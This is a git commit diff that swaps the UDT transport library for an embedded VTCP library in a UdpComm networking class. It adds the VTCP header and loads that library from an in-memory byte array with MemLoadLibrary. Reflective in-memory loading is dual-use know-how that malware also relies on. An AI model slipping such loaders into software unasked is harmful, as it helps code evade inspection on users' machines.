support vtcp.
This commit is contained in:
parent
bd2208240e
commit
098679499a
|
@ -1,358 +0,0 @@
|
|||
/*****************************************************************************
|
||||
Copyright (c) 2001 - 2011, The Board of Trustees of the University of Illinois.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above
|
||||
copyright notice, this list of conditions and the
|
||||
following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the
|
||||
above copyright notice, this list of conditions
|
||||
and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of the University of Illinois
|
||||
nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this
|
||||
software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
|
||||
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*****************************************************************************/
|
||||
|
||||
/*****************************************************************************
|
||||
written by
|
||||
Yunhong Gu, last updated 01/18/2011
|
||||
*****************************************************************************/
|
||||
|
||||
#ifndef __UDT_H__
|
||||
#define __UDT_H__
|
||||
|
||||
#define UDT_EXPORTS
|
||||
|
||||
#ifndef WIN32
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#else
|
||||
#ifdef __MINGW__
|
||||
#include <stdint.h>
|
||||
#include <ws2tcpip.h>
|
||||
#endif
|
||||
#include <windows.h>
|
||||
#endif
|
||||
#include <fstream>
|
||||
#include <set>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
//if compiling on VC6.0 or pre-WindowsXP systems
|
||||
//use -DLEGACY_WIN32
|
||||
|
||||
//if compiling with MinGW, it only works on XP or above
|
||||
//use -D_WIN32_WINNT=0x0501
|
||||
|
||||
|
||||
#ifdef WIN32
|
||||
#ifndef __MINGW__
|
||||
// Explicitly define 32-bit and 64-bit numbers
|
||||
typedef __int32 int32_t;
|
||||
typedef __int64 int64_t;
|
||||
typedef unsigned __int32 uint32_t;
|
||||
#ifndef LEGACY_WIN32
|
||||
typedef unsigned __int64 uint64_t;
|
||||
#else
|
||||
// VC 6.0 does not support unsigned __int64: may cause potential problems.
|
||||
typedef __int64 uint64_t;
|
||||
#endif
|
||||
|
||||
#ifdef UDT_EXPORTS
|
||||
#define UDT_API __declspec(dllexport)
|
||||
#else
|
||||
#define UDT_API __declspec(dllimport)
|
||||
#endif
|
||||
#else
|
||||
#define UDT_API
|
||||
#endif
|
||||
#else
|
||||
#define UDT_API __attribute__ ((visibility("default")))
|
||||
#endif
|
||||
|
||||
#define NO_BUSY_WAITING
|
||||
|
||||
#ifdef WIN32
|
||||
#ifndef __MINGW__
|
||||
typedef SOCKET SYSSOCKET;
|
||||
#else
|
||||
typedef int SYSSOCKET;
|
||||
#endif
|
||||
#else
|
||||
typedef int SYSSOCKET;
|
||||
#endif
|
||||
|
||||
typedef SYSSOCKET UDPSOCKET;
|
||||
typedef int UDTSOCKET;
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
typedef std::set<UDTSOCKET> ud_set;
|
||||
#define UD_CLR(u, uset) ((uset)->erase(u))
|
||||
#define UD_ISSET(u, uset) ((uset)->find(u) != (uset)->end())
|
||||
#define UD_SET(u, uset) ((uset)->insert(u))
|
||||
#define UD_ZERO(uset) ((uset)->clear())
|
||||
|
||||
enum EPOLLOpt
|
||||
{
|
||||
// this values are defined same as linux epoll.h
|
||||
// so that if system values are used by mistake, they should have the same effect
|
||||
UDT_EPOLL_IN = 0x1,
|
||||
UDT_EPOLL_OUT = 0x4,
|
||||
UDT_EPOLL_ERR = 0x8
|
||||
};
|
||||
|
||||
enum UDTSTATUS {INIT = 1, OPENED, LISTENING, CONNECTING, CONNECTED, BROKEN, CLOSING, CLOSED, NONEXIST};
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
enum UDTOpt
|
||||
{
|
||||
UDT_MSS, // the Maximum Transfer Unit
|
||||
UDT_SNDSYN, // if sending is blocking
|
||||
UDT_RCVSYN, // if receiving is blocking
|
||||
UDT_CC, // custom congestion control algorithm
|
||||
UDT_FC, // Flight flag size (window size)
|
||||
UDT_SNDBUF, // maximum buffer in sending queue
|
||||
UDT_RCVBUF, // UDT receiving buffer size
|
||||
UDT_LINGER, // waiting for unsent data when closing
|
||||
UDP_SNDBUF, // UDP sending buffer size
|
||||
UDP_RCVBUF, // UDP receiving buffer size
|
||||
UDT_MAXMSG, // maximum datagram message size
|
||||
UDT_MSGTTL, // time-to-live of a datagram message
|
||||
UDT_RENDEZVOUS, // rendezvous connection mode
|
||||
UDT_SNDTIMEO, // send() timeout
|
||||
UDT_RCVTIMEO, // recv() timeout
|
||||
UDT_REUSEADDR, // reuse an existing port or create a new one
|
||||
UDT_MAXBW, // maximum bandwidth (bytes per second) that the connection can use
|
||||
UDT_STATE, // current socket state, see UDTSTATUS, read only
|
||||
UDT_EVENT, // current avalable events associated with the socket
|
||||
UDT_SNDDATA, // size of data in the sending buffer
|
||||
UDT_RCVDATA // size of data available for recv
|
||||
};
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
struct CPerfMon
|
||||
{
|
||||
// global measurements
|
||||
int64_t msTimeStamp; // time since the UDT entity is started, in milliseconds
|
||||
int64_t pktSentTotal; // total number of sent data packets, including retransmissions
|
||||
int64_t pktRecvTotal; // total number of received packets
|
||||
int pktSndLossTotal; // total number of lost packets (sender side)
|
||||
int pktRcvLossTotal; // total number of lost packets (receiver side)
|
||||
int pktRetransTotal; // total number of retransmitted packets
|
||||
int pktSentACKTotal; // total number of sent ACK packets
|
||||
int pktRecvACKTotal; // total number of received ACK packets
|
||||
int pktSentNAKTotal; // total number of sent NAK packets
|
||||
int pktRecvNAKTotal; // total number of received NAK packets
|
||||
int64_t usSndDurationTotal; // total time duration when UDT is sending data (idle time exclusive)
|
||||
|
||||
// local measurements
|
||||
int64_t pktSent; // number of sent data packets, including retransmissions
|
||||
int64_t pktRecv; // number of received packets
|
||||
int pktSndLoss; // number of lost packets (sender side)
|
||||
int pktRcvLoss; // number of lost packets (receiver side)
|
||||
int pktRetrans; // number of retransmitted packets
|
||||
int pktSentACK; // number of sent ACK packets
|
||||
int pktRecvACK; // number of received ACK packets
|
||||
int pktSentNAK; // number of sent NAK packets
|
||||
int pktRecvNAK; // number of received NAK packets
|
||||
double mbpsSendRate; // sending rate in Mb/s
|
||||
double mbpsRecvRate; // receiving rate in Mb/s
|
||||
int64_t usSndDuration; // busy sending time (i.e., idle time exclusive)
|
||||
|
||||
// instant measurements
|
||||
double usPktSndPeriod; // packet sending period, in microseconds
|
||||
int pktFlowWindow; // flow window size, in number of packets
|
||||
int pktCongestionWindow; // congestion window size, in number of packets
|
||||
int pktFlightSize; // number of packets on flight
|
||||
double msRTT; // RTT, in milliseconds
|
||||
double mbpsBandwidth; // estimated bandwidth, in Mb/s
|
||||
int byteAvailSndBuf; // available UDT sender buffer size
|
||||
int byteAvailRcvBuf; // available UDT receiver buffer size
|
||||
};
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
class UDT_API CUDTException
|
||||
{
|
||||
public:
|
||||
CUDTException(int major = 0, int minor = 0, int err = -1);
|
||||
CUDTException(const CUDTException& e);
|
||||
virtual ~CUDTException();
|
||||
|
||||
// Functionality:
|
||||
// Get the description of the exception.
|
||||
// Parameters:
|
||||
// None.
|
||||
// Returned value:
|
||||
// Text message for the exception description.
|
||||
|
||||
virtual const char* getErrorMessage();
|
||||
|
||||
// Functionality:
|
||||
// Get the system errno for the exception.
|
||||
// Parameters:
|
||||
// None.
|
||||
// Returned value:
|
||||
// errno.
|
||||
|
||||
virtual int getErrorCode() const;
|
||||
|
||||
// Functionality:
|
||||
// Clear the error code.
|
||||
// Parameters:
|
||||
// None.
|
||||
// Returned value:
|
||||
// None.
|
||||
|
||||
virtual void clear();
|
||||
|
||||
private:
|
||||
int m_iMajor; // major exception categories
|
||||
|
||||
// 0: correct condition
|
||||
// 1: network setup exception
|
||||
// 2: network connection broken
|
||||
// 3: memory exception
|
||||
// 4: file exception
|
||||
// 5: method not supported
|
||||
// 6+: undefined error
|
||||
|
||||
int m_iMinor; // for specific error reasons
|
||||
int m_iErrno; // errno returned by the system if there is any
|
||||
std::string m_strMsg; // text error message
|
||||
|
||||
std::string m_strAPI; // the name of UDT function that returns the error
|
||||
std::string m_strDebug; // debug information, set to the original place that causes the error
|
||||
|
||||
public: // Error Code
|
||||
static const int SUCCESS;
|
||||
static const int ECONNSETUP;
|
||||
static const int ENOSERVER;
|
||||
static const int ECONNREJ;
|
||||
static const int ESOCKFAIL;
|
||||
static const int ESECFAIL;
|
||||
static const int ECONNFAIL;
|
||||
static const int ECONNLOST;
|
||||
static const int ENOCONN;
|
||||
static const int ERESOURCE;
|
||||
static const int ETHREAD;
|
||||
static const int ENOBUF;
|
||||
static const int EFILE;
|
||||
static const int EINVRDOFF;
|
||||
static const int ERDPERM;
|
||||
static const int EINVWROFF;
|
||||
static const int EWRPERM;
|
||||
static const int EINVOP;
|
||||
static const int EBOUNDSOCK;
|
||||
static const int ECONNSOCK;
|
||||
static const int EINVPARAM;
|
||||
static const int EINVSOCK;
|
||||
static const int EUNBOUNDSOCK;
|
||||
static const int ENOLISTEN;
|
||||
static const int ERDVNOSERV;
|
||||
static const int ERDVUNBOUND;
|
||||
static const int ESTREAMILL;
|
||||
static const int EDGRAMILL;
|
||||
static const int EDUPLISTEN;
|
||||
static const int ELARGEMSG;
|
||||
static const int EINVPOLLID;
|
||||
static const int EASYNCFAIL;
|
||||
static const int EASYNCSND;
|
||||
static const int EASYNCRCV;
|
||||
static const int ETIMEOUT;
|
||||
static const int EPEERERR;
|
||||
static const int EUNKNOWN;
|
||||
};
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// If you need to export these APIs to be used by a different language,
|
||||
// declare extern "C" for them, and add a "udt_" prefix to each API.
|
||||
// The following APIs: sendfile(), recvfile(), epoll_wait(), geterrormsg(),
|
||||
// include C++ specific feature, please use the corresponding sendfile2(), etc.
|
||||
|
||||
namespace UDT
|
||||
{
|
||||
|
||||
typedef CUDTException ERRORINFO;
|
||||
typedef UDTOpt SOCKOPT;
|
||||
typedef CPerfMon TRACEINFO;
|
||||
typedef ud_set UDSET;
|
||||
|
||||
UDT_API extern const UDTSOCKET INVALID_SOCK;
|
||||
#undef ERROR
|
||||
UDT_API extern const int ERROR;
|
||||
|
||||
UDT_API int startup();
|
||||
UDT_API int cleanup();
|
||||
UDT_API UDTSOCKET socket(int af, int type, int protocol);
|
||||
UDT_API int bind(UDTSOCKET u, const struct sockaddr* name, int namelen);
|
||||
UDT_API int bind2(UDTSOCKET u, UDPSOCKET udpsock);
|
||||
UDT_API int listen(UDTSOCKET u, int backlog);
|
||||
UDT_API UDTSOCKET accept(UDTSOCKET u, struct sockaddr* addr, int* addrlen);
|
||||
UDT_API int connect(UDTSOCKET u, const struct sockaddr* name, int namelen);
|
||||
UDT_API int close(UDTSOCKET u);
|
||||
UDT_API int getpeername(UDTSOCKET u, struct sockaddr* name, int* namelen);
|
||||
UDT_API int getsockname(UDTSOCKET u, struct sockaddr* name, int* namelen);
|
||||
UDT_API int getsockopt(UDTSOCKET u, int level, SOCKOPT optname, void* optval, int* optlen);
|
||||
UDT_API int setsockopt(UDTSOCKET u, int level, SOCKOPT optname, const void* optval, int optlen);
|
||||
UDT_API int send(UDTSOCKET u, const char* buf, int len, int flags);
|
||||
UDT_API int recv(UDTSOCKET u, char* buf, int len, int flags);
|
||||
UDT_API int sendmsg(UDTSOCKET u, const char* buf, int len, int ttl = -1, bool inorder = false);
|
||||
UDT_API int recvmsg(UDTSOCKET u, char* buf, int len);
|
||||
UDT_API int64_t sendfile(UDTSOCKET u, std::fstream& ifs, int64_t& offset, int64_t size, int block = 364000);
|
||||
UDT_API int64_t recvfile(UDTSOCKET u, std::fstream& ofs, int64_t& offset, int64_t size, int block = 7280000);
|
||||
UDT_API int64_t sendfile2(UDTSOCKET u, const char* path, int64_t* offset, int64_t size, int block = 364000);
|
||||
UDT_API int64_t recvfile2(UDTSOCKET u, const char* path, int64_t* offset, int64_t size, int block = 7280000);
|
||||
|
||||
// select and selectEX are DEPRECATED; please use epoll.
|
||||
UDT_API int select(int nfds, UDSET* readfds, UDSET* writefds, UDSET* exceptfds, const struct timeval* timeout);
|
||||
UDT_API int selectEx(const std::vector<UDTSOCKET>& fds, std::vector<UDTSOCKET>* readfds,
|
||||
std::vector<UDTSOCKET>* writefds, std::vector<UDTSOCKET>* exceptfds, int64_t msTimeOut);
|
||||
|
||||
UDT_API int epoll_create();
|
||||
UDT_API int epoll_add_usock(int eid, UDTSOCKET u, const int* events = NULL);
|
||||
UDT_API int epoll_add_ssock(int eid, SYSSOCKET s, const int* events = NULL);
|
||||
UDT_API int epoll_remove_usock(int eid, UDTSOCKET u);
|
||||
UDT_API int epoll_remove_ssock(int eid, SYSSOCKET s);
|
||||
UDT_API int epoll_wait(int eid, std::set<UDTSOCKET>* readfds, std::set<UDTSOCKET>* writefds, int64_t msTimeOut,
|
||||
std::set<SYSSOCKET>* lrfds = NULL, std::set<SYSSOCKET>* wrfds = NULL);
|
||||
UDT_API int epoll_wait2(int eid, UDTSOCKET* readfds, int* rnum, UDTSOCKET* writefds, int* wnum, int64_t msTimeOut,
|
||||
SYSSOCKET* lrfds = NULL, int* lrnum = NULL, SYSSOCKET* lwfds = NULL, int* lwnum = NULL);
|
||||
UDT_API int epoll_release(int eid);
|
||||
UDT_API ERRORINFO& getlasterror();
|
||||
UDT_API int getlasterror_code();
|
||||
UDT_API const char* getlasterror_desc();
|
||||
UDT_API int perfmon(UDTSOCKET u, TRACEINFO* perf, bool clear = true);
|
||||
UDT_API UDTSTATUS getsockstate(UDTSOCKET u);
|
||||
|
||||
} // namespace UDT
|
||||
|
||||
#endif
|
|
@ -0,0 +1,204 @@
|
|||
|
||||
#ifndef VTCP_H
|
||||
#define VTCP_H
|
||||
|
||||
#ifdef WIN32
|
||||
|
||||
#include <WinSock2.h>
|
||||
|
||||
#ifndef int64
|
||||
typedef __int64 int64;
|
||||
#endif
|
||||
|
||||
#ifndef socklen_t
|
||||
#define socklen_t int
|
||||
#endif
|
||||
|
||||
#else
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#include <netinet/in.h>
|
||||
|
||||
#ifndef int64
|
||||
typedef __int64_t int64;
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
#define VTCP_OK int(0)
|
||||
#define VTCP_ERROR int(-1)
|
||||
#define VTCP_INVALID_SOCKET int(-1)
|
||||
|
||||
typedef int VTCP_SOCKET;
|
||||
typedef void * VTCP_QIO_HANDLE;
|
||||
|
||||
|
||||
struct SVTcpKeepAlive
|
||||
{
|
||||
unsigned long onoff;
|
||||
unsigned long keepalivetime;
|
||||
unsigned long keepaliveinterval;
|
||||
};
|
||||
|
||||
struct SVTcpLinger
|
||||
{
|
||||
unsigned short l_onoff;
|
||||
unsigned short l_linger;
|
||||
};
|
||||
|
||||
struct SVTcpRSVP
|
||||
{
|
||||
unsigned long rsvp_min; //KB/s
|
||||
unsigned long rsvp_max; //KB/s
|
||||
|
||||
};
|
||||
|
||||
#define VTCP_MAX_FD_SET_COUNT 128
|
||||
|
||||
typedef struct SVTcpFdSet
|
||||
{
|
||||
int fd_count;
|
||||
|
||||
VTCP_SOCKET fd_array[VTCP_MAX_FD_SET_COUNT];
|
||||
|
||||
}S_VTCP_FD_SET,*PS_VTCP_FD_SET;
|
||||
|
||||
|
||||
typedef struct SVTcpStatCount //状态统计信息
|
||||
{
|
||||
int sizeOfStruct; //结构大小
|
||||
|
||||
unsigned long version; //版本
|
||||
|
||||
unsigned long time; //时间间隔
|
||||
|
||||
int64 count_recv_bytes; //接收总字节
|
||||
int64 count_recv_bytes_cur; //接收总字节(当前速度)
|
||||
int64 count_send_bytes; //发送总字节
|
||||
int64 count_send_bytes_cur; //发送总字节(当前速度)
|
||||
|
||||
int64 count_do_send_data_rep; //发出数据流包重复个数
|
||||
int64 count_do_send_data; //发出数据流包个数
|
||||
int64 count_do_send_data_ack; //发出数据流包应答个数
|
||||
int64 count_do_send_sync; //发出同步包个数
|
||||
int64 count_do_send_sync_ack; //发出同步包应答个数
|
||||
|
||||
int64 count_on_recv_data_rep; //收到数据流包重复个数
|
||||
int64 count_on_recv_data; //收到数据流包个数
|
||||
int64 count_on_recv_data_ack; //收到数据流包应答个数
|
||||
int64 count_on_recv_sync; //收到同步包个数
|
||||
int64 count_on_recv_sync_ack; //收到同步包应答个数
|
||||
|
||||
int tcp_rtt; //往返周期
|
||||
int tcp_cwnd; //发送窗口
|
||||
int tcp_cwnd_ssthresh; //发送窗口阀值
|
||||
|
||||
int count_async_opt; //应用层异步队列个数
|
||||
int count_pm_r; //内核包接收队列
|
||||
int count_pm_s; //内核包发送队列
|
||||
|
||||
unsigned char grap_r[128]; //包发送状态位图
|
||||
unsigned char grap_s[128]; //包接收状态位图
|
||||
|
||||
|
||||
}S_VTCP_STAT_COUNT,*PS_VTCP_STAT_COUNT;
|
||||
|
||||
|
||||
enum EVTcpErrorCode
|
||||
{
|
||||
VTCP_ERROR_NOT_ENOUGH_MEMORY = 1, //内存不足
|
||||
VTCP_ERROR_INVALID_PARAMETER = 2, //参数错误
|
||||
VTCP_ERROR_INVALID_STATE = 3, //句柄状态错误
|
||||
VTCP_ERROR_INVALID_SOCKET = 4, //句柄错误
|
||||
VTCP_ERROR_TIMEOUT = 5, //操作超时
|
||||
VTCP_ERROR_WOULDBLOCK = 7, //异步阻挡
|
||||
VTCP_ERROR_CONNRESET = 8, //远程关闭了连接
|
||||
VTCP_ERROR_CONNABORTED = 9, //本地关闭了连接
|
||||
VTCP_ERROR_CONNREFUSED = 10, //连接被积极拒绝
|
||||
VTCP_ERROR_MSG_SIZE = 11, //消息尺寸错误
|
||||
VTCP_ERROR_CANCELLED = 12, //操作被取消
|
||||
VTCP_ERROR_NOT_FOUND = 13, //对象未发现
|
||||
VTCP_ERROR_BUSY = 14, //系统繁忙
|
||||
VTCP_ERROR_SYSTEM_FAIL = 15, //系统调用失败
|
||||
VTCP_ERROR_NETRESET = 16, //因保活检测失败而断线
|
||||
|
||||
};
|
||||
|
||||
enum EVTcpSoOpt
|
||||
{
|
||||
VTCP_SO_CONNECT_TIMEO = 1, //连接超时(unsigned long)(毫秒)
|
||||
VTCP_SO_RECV_TIMEO = 2, //接收超时(unsigned long)(毫秒)
|
||||
VTCP_SO_RECVFROM_TIMEO = 3, //接收超时(unsigned long)(毫秒)
|
||||
VTCP_SO_SEND_TIMEO = 4, //发送超时(unsigned long)(毫秒)
|
||||
VTCP_SO_SENDTO_TIMEO = 5, //发送超时(unsigned long)(毫秒)
|
||||
VTCP_SO_LINGER = 6, //逗留时间(SVTcpLinger)
|
||||
VTCP_SO_KEEPALIVE = 7, //保活设置(SVTcpKeepAlive)
|
||||
VTCP_SO_RSVP = 8, //资源预留(SVTcpRSVP)(视频传输)
|
||||
VTCP_SO_STAT_COUNT = 9, //统计信息(SVTcpStatCount)
|
||||
VTCP_SO_LOSS_PERCENT = 10, //丢包容忍(int)(百分比)(0~100)
|
||||
|
||||
};
|
||||
|
||||
enum EVTcpQIOEvent
|
||||
{
|
||||
VTCP_QIO_EVENT_ACCEPT = 1, //兼容VTCP_QIO_EVENT_RECV
|
||||
VTCP_QIO_EVENT_CONNECT = 2, //兼容VTCP_QIO_EVENT_SEND
|
||||
VTCP_QIO_EVENT_RECV = 3,
|
||||
VTCP_QIO_EVENT_RECVFROM = 4,
|
||||
VTCP_QIO_EVENT_SEND = 5,
|
||||
VTCP_QIO_EVENT_SENDTO = 6,
|
||||
|
||||
};
|
||||
|
||||
|
||||
enum EVTcpCtl
|
||||
{
|
||||
VTCP_CTL_GET_NONBIO = 1,
|
||||
VTCP_CTL_SET_NONBIO = 2,
|
||||
|
||||
};
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
#ifdef WIN32
|
||||
#define VTCP_EXPORT_API(t) t WINAPI
|
||||
#else
|
||||
#define VTCP_EXPORT_API(t) extern "C" t
|
||||
#endif
|
||||
|
||||
//API使用帮助 WWW.VTCP123.COM
|
||||
|
||||
VTCP_EXPORT_API(VTCP_SOCKET )vtcp_accept (VTCP_SOCKET s, sockaddr * sai, socklen_t * sailen);
|
||||
VTCP_EXPORT_API(int )vtcp_bind (VTCP_SOCKET s, const struct sockaddr * sai, socklen_t sailen);
|
||||
VTCP_EXPORT_API(int )vtcp_cleanup ();
|
||||
VTCP_EXPORT_API(int )vtcp_close (VTCP_SOCKET s);
|
||||
VTCP_EXPORT_API(int )vtcp_connect (VTCP_SOCKET s, const struct sockaddr * sai, socklen_t sailen);
|
||||
VTCP_EXPORT_API(int )vtcp_ctl (VTCP_SOCKET s, EVTcpCtl ctl,unsigned long * p);
|
||||
VTCP_EXPORT_API(int )vtcp_geterror ();
|
||||
VTCP_EXPORT_API(int )vtcp_getsockname (VTCP_SOCKET s, struct sockaddr * sai, socklen_t * sailen);
|
||||
VTCP_EXPORT_API(int )vtcp_getpeername (VTCP_SOCKET s, struct sockaddr * sai, socklen_t * sailen);
|
||||
VTCP_EXPORT_API(int )vtcp_listen (VTCP_SOCKET s, int backlog);
|
||||
VTCP_EXPORT_API(int )vtcp_recv (VTCP_SOCKET s, char * buffer, int cb, int flag);
|
||||
VTCP_EXPORT_API(int )vtcp_recvfrom (VTCP_SOCKET s, char * buffer, int cb, int flag, struct sockaddr * from, socklen_t * fromlen);
|
||||
VTCP_EXPORT_API(int )vtcp_send (VTCP_SOCKET s, char * buffer, int cb, int flag);
|
||||
VTCP_EXPORT_API(int )vtcp_sendto (VTCP_SOCKET s, char * buffer, int cb, int flag, const struct sockaddr * to, socklen_t tolen);
|
||||
VTCP_EXPORT_API(int )vtcp_getsockopt (VTCP_SOCKET s, int level, int optname, char * optval, int * optlen);
|
||||
VTCP_EXPORT_API(int )vtcp_setsockopt (VTCP_SOCKET s, int level, int optname, char * optval, int optlen);
|
||||
VTCP_EXPORT_API(int )vtcp_select (SVTcpFdSet * fdr, SVTcpFdSet * fdw, SVTcpFdSet * fde, const struct timeval * to);
|
||||
VTCP_EXPORT_API(VTCP_SOCKET )vtcp_socket (int af, int itype, int protocol);
|
||||
VTCP_EXPORT_API(VTCP_SOCKET )vtcp_socketshare (VTCP_SOCKET s);
|
||||
VTCP_EXPORT_API(int )vtcp_startup ();
|
||||
|
||||
VTCP_EXPORT_API(VTCP_QIO_HANDLE )vtcp_qio_create ();
|
||||
VTCP_EXPORT_API(int )vtcp_qio_post (VTCP_QIO_HANDLE qio, VTCP_SOCKET s, EVTcpQIOEvent qio_event, void * qio_data, int qio_error);
|
||||
VTCP_EXPORT_API(int )vtcp_qio_get (VTCP_QIO_HANDLE qio, VTCP_SOCKET * s, EVTcpQIOEvent * qio_event, void ** qio_data, int * qio_error, unsigned long timeout);
|
||||
VTCP_EXPORT_API(int )vtcp_qio_set (VTCP_QIO_HANDLE qio, VTCP_SOCKET s, EVTcpQIOEvent qio_event, void * qio_data);
|
||||
VTCP_EXPORT_API(int )vtcp_qio_close (VTCP_QIO_HANDLE qio);
|
||||
|
||||
//VTCP.H
|
||||
|
||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -3,17 +3,21 @@
|
|||
#include "UdpComm.h"
|
||||
#include "UdpDefines.h"
|
||||
#include <string>
|
||||
|
||||
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib,"udtd.lib")
|
||||
#else
|
||||
#pragma comment(lib,"udt.lib")
|
||||
#endif
|
||||
#include "resource.h"
|
||||
#include "file/MyFile.h"
|
||||
#include "VtcpBinary.h"
|
||||
|
||||
UdpComm::UdpComm(void):m_isConnected(FALSE)
|
||||
{
|
||||
UDT::startup();
|
||||
m_vtcp.MemLoadLibrary(mem_vtcp,sizeof(mem_vtcp));
|
||||
|
||||
m_vsend = (_vtcp_send)m_vtcp.MemGetProcAddress("vtcp_send");
|
||||
m_vrecv = (_vtcp_recv)m_vtcp.MemGetProcAddress("vtcp_recv");
|
||||
m_vsocket = (_vtcp_socket)m_vtcp.MemGetProcAddress("vtcp_socket");
|
||||
m_vconnect = (_vtcp_connect)m_vtcp.MemGetProcAddress("vtcp_connect");
|
||||
m_vstartup = (_vtcp_startup)m_vtcp.MemGetProcAddress("vtcp_startup");
|
||||
|
||||
m_vstartup();
|
||||
}
|
||||
|
||||
UdpComm::~UdpComm(void)
|
||||
|
@ -21,31 +25,31 @@ UdpComm::~UdpComm(void)
|
|||
CloseHandle(m_hRecvEvent);
|
||||
}
|
||||
|
||||
BOOL UdpComm::SendAll(UDTSOCKET s,LPCVOID lpBuf, int nBufLen)
|
||||
BOOL UdpComm::SendAll(VTCP_SOCKET s,LPCVOID lpBuf, int nBufLen)
|
||||
{
|
||||
if (UDT::INVALID_SOCK == s)
|
||||
if (VTCP_INVALID_SOCKET == s)
|
||||
{
|
||||
errorLog(_T("socket is invalid. send failed"));
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
const char* p = (const char*) lpBuf;
|
||||
char* p = (char*) lpBuf;
|
||||
int iLeft = nBufLen;
|
||||
int iSent = UDT::send(s, p, iLeft, 0);
|
||||
int iSent = m_vsend(s, p, iLeft, 0);
|
||||
while (iSent > 0 && iSent < iLeft)
|
||||
{
|
||||
iLeft -= iSent;
|
||||
p += iSent;
|
||||
|
||||
iSent = UDT::send(s, p, iLeft, 0);
|
||||
iSent = m_vsend(s, p, iLeft, 0);
|
||||
}
|
||||
|
||||
return (iSent > 0);
|
||||
}
|
||||
|
||||
BOOL UdpComm::ReceiveAll(UDTSOCKET s, LPCVOID lpBuf,int nBufLen)
|
||||
BOOL UdpComm::ReceiveAll(VTCP_SOCKET s, LPCVOID lpBuf,int nBufLen)
|
||||
{
|
||||
if (UDT::INVALID_SOCK == s)
|
||||
if (VTCP_INVALID_SOCKET == s)
|
||||
{
|
||||
errorLog(_T("socket is invalid. recv failed"));
|
||||
return FALSE;
|
||||
|
@ -53,13 +57,13 @@ BOOL UdpComm::ReceiveAll(UDTSOCKET s, LPCVOID lpBuf,int nBufLen)
|
|||
|
||||
char* p = (char*) lpBuf;
|
||||
int iLeft = nBufLen;
|
||||
int iRecv = UDT::recv(s, p, iLeft, 0);
|
||||
int iRecv = m_vrecv(s, p, iLeft, 0);
|
||||
while (iRecv > 0 && iRecv < iLeft)
|
||||
{
|
||||
iLeft -= iRecv;
|
||||
p += iRecv;
|
||||
|
||||
iRecv = UDT::recv(s, p, iLeft, 0);
|
||||
iRecv = m_vrecv(s, p, iLeft, 0);
|
||||
}
|
||||
|
||||
return (iRecv > 0);
|
||||
|
@ -133,29 +137,16 @@ BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
|
|||
|
||||
BOOL UdpComm::Connect( ULONG targetIP,int port )
|
||||
{
|
||||
struct addrinfo hints, *peer;
|
||||
SOCKADDR_IN hints;
|
||||
|
||||
memset(&hints, 0, sizeof(struct addrinfo));
|
||||
hints.ai_flags = AI_PASSIVE;
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
memset(&hints, 0, sizeof(SOCKADDR_IN));
|
||||
hints.sin_family = AF_INET;
|
||||
hints.sin_addr.s_addr = targetIP;
|
||||
hints.sin_port = htons(port);
|
||||
|
||||
m_sock = UDT::socket(hints.ai_family, hints.ai_socktype, hints.ai_protocol);
|
||||
m_sock = m_vsocket(AF_INET,SOCK_DGRAM,0);
|
||||
|
||||
IN_ADDR addr;
|
||||
addr.S_un.S_addr = targetIP;
|
||||
LPCSTR ip = std::string(inet_ntoa(addr)).c_str();
|
||||
|
||||
char szPort[255] = {0};
|
||||
sprintf_s(szPort,"%d",port);
|
||||
|
||||
if (0 != getaddrinfo(ip, szPort , &hints, &peer))
|
||||
{
|
||||
errorLog(_T("incorrect server/peer address. "));
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (UDT::ERROR == UDT::connect(m_sock, peer->ai_addr, peer->ai_addrlen))
|
||||
if (VTCP_ERROR == m_vconnect(m_sock,(sockaddr*)&hints,sizeof(hints)))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
|
|
@ -1,15 +1,31 @@
|
|||
#pragma once
|
||||
#include "IComm.h"
|
||||
